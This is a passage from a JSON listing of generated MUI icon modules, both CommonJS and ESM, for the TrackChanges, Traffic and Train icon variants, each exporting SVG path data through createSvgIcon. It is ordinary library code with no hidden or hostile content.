    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.07 4.93-1.41 1.41C19.1 7.79 20 9.79 20 12c0 4.42-3.58 8-8 8s-8-3.58-8-8c0-4.08 3.05-7.44 7-7.93v2.02C8.16 6.57 6 9.03 6 12c0 3.31 2.69 6 6 6s6-2.69 6-6c0-1.66-.67-3.16-1.76-4.24l-1.41 1.41C15.55 9.9 16 10.9 16 12c0 2.21-1.79 4-4 4s-4-1.79-4-4c0-1.86 1.28-3.41 3-3.86v2.14c-.6.35-1 .98-1 1.72 0 1.1.9 2 2 2s2-.9 2-2c0-.74-.4-1.38-1-1.72V2h-1C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10c0-2.76-1.12-5.26-2.93-7.07\"\n}), 'TrackChangesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrackChangesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.32 5.68c-.36.36-.39.92-.07 1.32 1.45 1.82 2.21 4.31 1.53 6.92-.79 3.05-3.18 5.33-6.21 5.94C8.47 20.87 4 16.93 4 12c0-4.08 3.05-7.44 7-7.93v2.02c-3.13.53-5.43 3.46-4.93 6.83.39 2.61 2.56 4.71 5.18 5.03C14.89 18.4 18 15.56 18 12c0-1.25-.38-2.4-1.03-3.36-.34-.5-1.07-.53-1.5-.11l-.01.01c-.34.34-.37.87-.11 1.27.6.92.84 2.1.49 3.32-.39 1.37-1.54 2.46-2.94 2.77-2.6.57-4.9-1.39-4.9-3.9 0-1.86 1.28-3.41 3-3.86v2.14c-.6.35-1 .98-1 1.72 0 1.1.9 2 2 2s2-.9 2-2c0-.74-.4-1.38-1-1.72V2.71c0-.39-.32-.71-.71-.71-5.36-.2-9.98 4.06-10.27 9.4-.36 6.55 5.41 11.82 12.01 10.4 3.88-.83 6.88-3.8 7.75-7.67.71-3.16-.2-6.16-1.97-8.37-.37-.47-1.07-.5-1.49-.08\"\n}), 'TrackChangesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrackChangesRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.32 5.68c-.36.36-.39.92-.07 1.32 1.45 1.82 2.21 4.31 1.53 6.92-.79 3.05-3.18 5.33-6.21 5.94C8.47 20.87 4 16.93 4 12c0-4.08 3.05-7.44 7-7.93v2.02c-3.13.53-5.43 3.46-4.93 6.83.39 2.61 2.56 4.71 5.18 5.03C14.89 18.4 18 15.56 18 12c0-1.25-.38-2.4-1.03-3.36-.34-.5-1.07-.53-1.5-.11l-.01.01c-.34.34-.37.87-.11 1.27.6.92.84 2.1.49 3.32-.39 1.37-1.54 2.46-2.94 2.77-2.6.57-4.9-1.39-4.9-3.9 0-1.86 1.28-3.41 3-3.86v2.14c-.6.35-1 .98-1 1.72 0 1.1.9 2 2 2s2-.9 2-2c0-.74-.4-1.38-1-1.72V2.71c0-.39-.32-.71-.71-.71-5.36-.2-9.98 4.06-10.27 9.4-.36 6.55 5.41 11.82 12.01 10.4 3.88-.83 6.88-3.8 7.75-7.67.71-3.16-.2-6.16-1.97-8.37-.37-.47-1.07-.5-1.49-.08\"\n}), 'TrackChangesRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrackChangesSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.07 4.93-1.41 1.41C19.1 7.79 20 9.79 20 12c0 4.42-3.58 8-8 8s-8-3.58-8-8c0-4.08 3.05-7.44 7-7.93v2.02C8.16 6.57 6 9.03 6 12c0 3.31 2.69 6 6 6s6-2.69 6-6c0-1.66-.67-3.16-1.76-4.24l-1.41 1.41C15.55 9.9 16 10.9 16 12c0 2.21-1.79 4-4 4s-4-1.79-4-4c0-1.86 1.28-3.41 3-3.86v2.14c-.6.35-1 .98-1 1.72 0 1.1.9 2 2 2s2-.9 2-2c0-.74-.4-1.38-1-1.72V2h-1C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10c0-2.76-1.12-5.26-2.93-7.07\"\n}), 'TrackChangesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrackChangesSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.07 4.93-1.41 1.41C19.1 7.79 20 9.79 20 12c0 4.42-3.58 8-8 8s-8-3.58-8-8c0-4.08 3.05-7.44 7-7.93v2.02C8.16 6.57 6 9.03 6 12c0 3.31 2.69 6 6 6s6-2.69 6-6c0-1.66-.67-3.16-1.76-4.24l-1.41 1.41C15.55 9.9 16 10.9 16 12c0 2.21-1.79 4-4 4s-4-1.79-4-4c0-1.86 1.28-3.41 3-3.86v2.14c-.6.35-1 .98-1 1.72 0 1.1.9 2 2 2s2-.9 2-2c0-.74-.4-1.38-1-1.72V2h-1C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10c0-2.76-1.12-5.26-2.93-7.07\"\n}), 'TrackChangesSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrackChangesTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.07 4.93-1.41 1.41C19.1 7.79 20 9.79 20 12c0 4.42-3.58 8-8 8s-8-3.58-8-8c0-4.08 3.05-7.44 7-7.93v2.02C8.16 6.57 6 9.03 6 12c0 3.31 2.69 6 6 6s6-2.69 6-6c0-1.66-.67-3.16-1.76-4.24l-1.41 1.41C15.55 9.9 16 10.9 16 12c0 2.21-1.79 4-4 4s-4-1.79-4-4c0-1.86 1.28-3.41 3-3.86v2.14c-.6.35-1 .98-1 1.72 0 1.1.9 2 2 2s2-.9 2-2c0-.74-.4-1.38-1-1.72V2h-1C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10c0-2.76-1.12-5.26-2.93-7.07\"\n}), 'TrackChangesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrackChangesTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.07 4.93-1.41 1.41C19.1 7.79 20 9.79 20 12c0 4.42-3.58 8-8 8s-8-3.58-8-8c0-4.08 3.05-7.44 7-7.93v2.02C8.16 6.57 6 9.03 6 12c0 3.31 2.69 6 6 6s6-2.69 6-6c0-1.66-.67-3.16-1.76-4.24l-1.41 1.41C15.55 9.9 16 10.9 16 12c0 2.21-1.79 4-4 4s-4-1.79-4-4c0-1.86 1.28-3.41 3-3.86v2.14c-.6.35-1 .98-1 1.72 0 1.1.9 2 2 2s2-.9 2-2c0-.74-.4-1.38-1-1.72V2h-1C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10c0-2.76-1.12-5.26-2.93-7.07\"\n}), 'TrackChangesTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Traffic.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 10h-3V8.86c1.72-.45 3-2 3-3.86h-3V4c0-.55-.45-1-1-1H8c-.55 0-1 .45-1 1v1H4c0 1.86 1.28 3.41 3 3.86V10H4c0 1.86 1.28 3.41 3 3.86V15H4c0 1.86 1.28 3.41 3 3.86V20c0 .55.45 1 1 1h8c.55 0 1-.45 1-1v-1.14c1.72-.45 3-2 3-3.86h-3v-1.14c1.72-.45 3-2 3-3.86m-8 9c-1.11 0-2-.9-2-2s.89-2 2-2c1.1 0 2 .9 2 2s-.89 2-2 2m0-5c-1.11 0-2-.9-2-2s.89-2 2-2c1.1 0 2 .9 2 2s-.89 2-2 2m0-5c-1.11 0-2-.9-2-2 0-1.11.89-2 2-2 1.1 0 2 .89 2 2 0 1.1-.89 2-2 2\"\n}), 'Traffic');"
  },
  {
    "path": "packages/mui-icons-material/lib/Traffic.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 10h-3V8.86c1.72-.45 3-2 3-3.86h-3V4c0-.55-.45-1-1-1H8c-.55 0-1 .45-1 1v1H4c0 1.86 1.28 3.41 3 3.86V10H4c0 1.86 1.28 3.41 3 3.86V15H4c0 1.86 1.28 3.41 3 3.86V20c0 .55.45 1 1 1h8c.55 0 1-.45 1-1v-1.14c1.72-.45 3-2 3-3.86h-3v-1.14c1.72-.45 3-2 3-3.86m-8 9c-1.11 0-2-.9-2-2s.89-2 2-2c1.1 0 2 .9 2 2s-.89 2-2 2m0-5c-1.11 0-2-.9-2-2s.89-2 2-2c1.1 0 2 .9 2 2s-.89 2-2 2m0-5c-1.11 0-2-.9-2-2 0-1.11.89-2 2-2 1.1 0 2 .89 2 2 0 1.1-.89 2-2 2\"\n}), 'Traffic');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrafficOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 10h-3V8.86c1.72-.45 3-2 3-3.86h-3V4c0-.55-.45-1-1-1H8c-.55 0-1 .45-1 1v1H4c0 1.86 1.28 3.41 3 3.86V10H4c0 1.86 1.28 3.41 3 3.86V15H4c0 1.86 1.28 3.41 3 3.86V20c0 .55.45 1 1 1h8c.55 0 1-.45 1-1v-1.14c1.72-.45 3-2 3-3.86h-3v-1.14c1.72-.45 3-2 3-3.86m-5 9H9V5h6zm-3-1c.83 0 1.5-.67 1.5-1.5S12.83 15 12 15s-1.5.67-1.5 1.5.67 1.5 1.5 1.5m0-4.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M12 9c.83 0 1.5-.67 1.5-1.5S12.83 6 12 6s-1.5.67-1.5 1.5S11.17 9 12 9\"\n}), 'TrafficOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrafficOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 10h-3V8.86c1.72-.45 3-2 3-3.86h-3V4c0-.55-.45-1-1-1H8c-.55 0-1 .45-1 1v1H4c0 1.86 1.28 3.41 3 3.86V10H4c0 1.86 1.28 3.41 3 3.86V15H4c0 1.86 1.28 3.41 3 3.86V20c0 .55.45 1 1 1h8c.55 0 1-.45 1-1v-1.14c1.72-.45 3-2 3-3.86h-3v-1.14c1.72-.45 3-2 3-3.86m-5 9H9V5h6zm-3-1c.83 0 1.5-.67 1.5-1.5S12.83 15 12 15s-1.5.67-1.5 1.5.67 1.5 1.5 1.5m0-4.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M12 9c.83 0 1.5-.67 1.5-1.5S12.83 6 12 6s-1.5.67-1.5 1.5S11.17 9 12 9\"\n}), 'TrafficOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrafficRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.96 10.59c.04-.31-.19-.59-.5-.59H17V8.86c1.54-.4 2.72-1.68 2.96-3.27.04-.31-.19-.59-.5-.59H17V4c0-.55-.45-1-1-1H8c-.55 0-1 .45-1 1v1H4.54c-.31 0-.54.28-.5.59C4.28 7.18 5.46 8.46 7 8.86V10H4.54c-.31 0-.54.28-.5.59.24 1.59 1.42 2.87 2.96 3.27V15H4.54c-.31 0-.54.28-.5.59.24 1.59 1.42 2.87 2.96 3.27V20c0 .55.45 1 1 1h8c.55 0 1-.45 1-1v-1.14c1.54-.4 2.72-1.68 2.96-3.27.04-.31-.19-.59-.5-.59H17v-1.14c1.54-.4 2.72-1.68 2.96-3.27M12 19c-1.11 0-2-.9-2-2s.89-2 2-2c1.1 0 2 .9 2 2s-.89 2-2 2m0-5c-1.11 0-2-.9-2-2s.89-2 2-2c1.1 0 2 .9 2 2s-.89 2-2 2m0-5c-1.11 0-2-.9-2-2 0-1.11.89-2 2-2 1.1 0 2 .89 2 2 0 1.1-.89 2-2 2\"\n}), 'TrafficRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrafficRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.96 10.59c.04-.31-.19-.59-.5-.59H17V8.86c1.54-.4 2.72-1.68 2.96-3.27.04-.31-.19-.59-.5-.59H17V4c0-.55-.45-1-1-1H8c-.55 0-1 .45-1 1v1H4.54c-.31 0-.54.28-.5.59C4.28 7.18 5.46 8.46 7 8.86V10H4.54c-.31 0-.54.28-.5.59.24 1.59 1.42 2.87 2.96 3.27V15H4.54c-.31 0-.54.28-.5.59.24 1.59 1.42 2.87 2.96 3.27V20c0 .55.45 1 1 1h8c.55 0 1-.45 1-1v-1.14c1.54-.4 2.72-1.68 2.96-3.27.04-.31-.19-.59-.5-.59H17v-1.14c1.54-.4 2.72-1.68 2.96-3.27M12 19c-1.11 0-2-.9-2-2s.89-2 2-2c1.1 0 2 .9 2 2s-.89 2-2 2m0-5c-1.11 0-2-.9-2-2s.89-2 2-2c1.1 0 2 .9 2 2s-.89 2-2 2m0-5c-1.11 0-2-.9-2-2 0-1.11.89-2 2-2 1.1 0 2 .89 2 2 0 1.1-.89 2-2 2\"\n}), 'TrafficRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrafficSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 10h-3V8.86c1.72-.45 3-2 3-3.86h-3V3H7v2H4c0 1.86 1.28 3.41 3 3.86V10H4c0 1.86 1.28 3.41 3 3.86V15H4c0 1.86 1.28 3.41 3 3.86V21h10v-2.14c1.72-.45 3-2 3-3.86h-3v-1.14c1.72-.45 3-2 3-3.86m-8 9c-1.11 0-2-.9-2-2s.89-2 2-2c1.1 0 2 .9 2 2s-.89 2-2 2m0-5c-1.11 0-2-.9-2-2s.89-2 2-2c1.1 0 2 .9 2 2s-.89 2-2 2m0-5c-1.11 0-2-.9-2-2 0-1.11.89-2 2-2 1.1 0 2 .89 2 2 0 1.1-.89 2-2 2\"\n}), 'TrafficSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrafficSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 10h-3V8.86c1.72-.45 3-2 3-3.86h-3V3H7v2H4c0 1.86 1.28 3.41 3 3.86V10H4c0 1.86 1.28 3.41 3 3.86V15H4c0 1.86 1.28 3.41 3 3.86V21h10v-2.14c1.72-.45 3-2 3-3.86h-3v-1.14c1.72-.45 3-2 3-3.86m-8 9c-1.11 0-2-.9-2-2s.89-2 2-2c1.1 0 2 .9 2 2s-.89 2-2 2m0-5c-1.11 0-2-.9-2-2s.89-2 2-2c1.1 0 2 .9 2 2s-.89 2-2 2m0-5c-1.11 0-2-.9-2-2 0-1.11.89-2 2-2 1.1 0 2 .89 2 2 0 1.1-.89 2-2 2\"\n}), 'TrafficSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrafficTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 19h6V5H9zm3-13c.83 0 1.5.67 1.5 1.5S12.83 9 12 9s-1.5-.67-1.5-1.5S11.17 6 12 6m0 4.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m0 4.5c.83 0 1.5.67 1.5 1.5S12.83 18 12 18s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5h-3V4c0-.55-.45-1-1-1H8c-.55 0-1 .45-1 1v1H4c0 1.86 1.28 3.41 3 3.86V10H4c0 1.86 1.28 3.41 3 3.86V15H4c0 1.86 1.28 3.41 3 3.86V20c0 .55.45 1 1 1h8c.55 0 1-.45 1-1v-1.14c1.72-.45 3-2 3-3.86h-3v-1.14c1.72-.45 3-2 3-3.86h-3V8.86c1.72-.45 3-2 3-3.86m-5 14H9V5h6zm-3-1c.83 0 1.5-.67 1.5-1.5S12.83 15 12 15s-1.5.67-1.5 1.5.67 1.5 1.5 1.5m0-4.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M12 9c.83 0 1.5-.67 1.5-1.5S12.83 6 12 6s-1.5.67-1.5 1.5S11.17 9 12 9\"\n}, \"1\")], 'TrafficTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrafficTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 19h6V5H9zm3-13c.83 0 1.5.67 1.5 1.5S12.83 9 12 9s-1.5-.67-1.5-1.5S11.17 6 12 6m0 4.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5m0 4.5c.83 0 1.5.67 1.5 1.5S12.83 18 12 18s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5h-3V4c0-.55-.45-1-1-1H8c-.55 0-1 .45-1 1v1H4c0 1.86 1.28 3.41 3 3.86V10H4c0 1.86 1.28 3.41 3 3.86V15H4c0 1.86 1.28 3.41 3 3.86V20c0 .55.45 1 1 1h8c.55 0 1-.45 1-1v-1.14c1.72-.45 3-2 3-3.86h-3v-1.14c1.72-.45 3-2 3-3.86h-3V8.86c1.72-.45 3-2 3-3.86m-5 14H9V5h6zm-3-1c.83 0 1.5-.67 1.5-1.5S12.83 15 12 15s-1.5.67-1.5 1.5.67 1.5 1.5 1.5m0-4.5c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M12 9c.83 0 1.5-.67 1.5-1.5S12.83 6 12 6s-1.5.67-1.5 1.5S11.17 9 12 9\"\n}, \"1\")], 'TrafficTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Train.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4 0-8 .5-8 4v9.5C4 17.43 5.57 19 7.5 19L6 20.5v.5h2.23l2-2H14l2 2h2v-.5L16.5 19c1.93 0 3.5-1.57 3.5-3.5V6c0-3.5-3.58-4-8-4M7.5 17c-.83 0-1.5-.67-1.5-1.5S6.67 14 7.5 14s1.5.67 1.5 1.5S8.33 17 7.5 17m3.5-7H6V6h5zm2 0V6h5v4zm3.5 7c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'Train');"
  },
  {
    "path": "packages/mui-icons-material/lib/Train.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4 0-8 .5-8 4v9.5C4 17.43 5.57 19 7.5 19L6 20.5v.5h2.23l2-2H14l2 2h2v-.5L16.5 19c1.93 0 3.5-1.57 3.5-3.5V6c0-3.5-3.58-4-8-4M7.5 17c-.83 0-1.5-.67-1.5-1.5S6.67 14 7.5 14s1.5.67 1.5 1.5S8.33 17 7.5 17m3.5-7H6V6h5zm2 0V6h5v4zm3.5 7c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'Train');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrainOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4 0-8 .5-8 4v9.5C4 17.43 5.57 19 7.5 19L6 20.5v.5h2l2-2h4l2 2h2v-.5L16.5 19c1.93 0 3.5-1.57 3.5-3.5V6c0-3.5-4-4-8-4m0 2c3.51 0 4.96.48 5.57 1H6.43c.61-.52 2.06-1 5.57-1M6 7h5v3H6zm12 8.5c0 .83-.67 1.5-1.5 1.5h-9c-.83 0-1.5-.67-1.5-1.5V12h12zm0-5.5h-5V7h5z\"\n}, \"2\")], 'TrainOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrainOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4 0-8 .5-8 4v9.5C4 17.43 5.57 19 7.5 19L6 20.5v.5h2l2-2h4l2 2h2v-.5L16.5 19c1.93 0 3.5-1.57 3.5-3.5V6c0-3.5-4-4-8-4m0 2c3.51 0 4.96.48 5.57 1H6.43c.61-.52 2.06-1 5.57-1M6 7h5v3H6zm12 8.5c0 .83-.67 1.5-1.5 1.5h-9c-.83 0-1.5-.67-1.5-1.5V12h12zm0-5.5h-5V7h5z\"\n}, \"2\")], 'TrainOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrainRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-4 0-8 .5-8 4v9.5C4 17.43 5.57 19 7.5 19l-1.15 1.15c-.31.31-.09.85.36.85H7.8c.13 0 .26-.05.35-.15L10 19h4l1.85 1.85c.09.09.22.15.35.15h1.09c.45 0 .67-.54.35-.85L16.5 19c1.93 0 3.5-1.57 3.5-3.5V6c0-3.5-4-4-8-4M7.5 17c-.83 0-1.5-.67-1.5-1.5S6.67 14 7.5 14s1.5.67 1.5 1.5S8.33 17 7.5 17m3.5-7H6V6h5zm5.5 7c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m1.5-7h-5V6h5z\"\n}), 'TrainRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrainRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-4 0-8 .5-8 4v9.5C4 17.43 5.57 19 7.5 19l-1.15 1.15c-.31.31-.09.85.36.85H7.8c.13 0 .26-.05.35-.15L10 19h4l1.85 1.85c.09.09.22.15.35.15h1.09c.45 0 .67-.54.35-.85L16.5 19c1.93 0 3.5-1.57 3.5-3.5V6c0-3.5-4-4-8-4M7.5 17c-.83 0-1.5-.67-1.5-1.5S6.67 14 7.5 14s1.5.67 1.5 1.5S8.33 17 7.5 17m3.5-7H6V6h5zm5.5 7c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m1.5-7h-5V6h5z\"\n}), 'TrainRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TrainSharp.js",
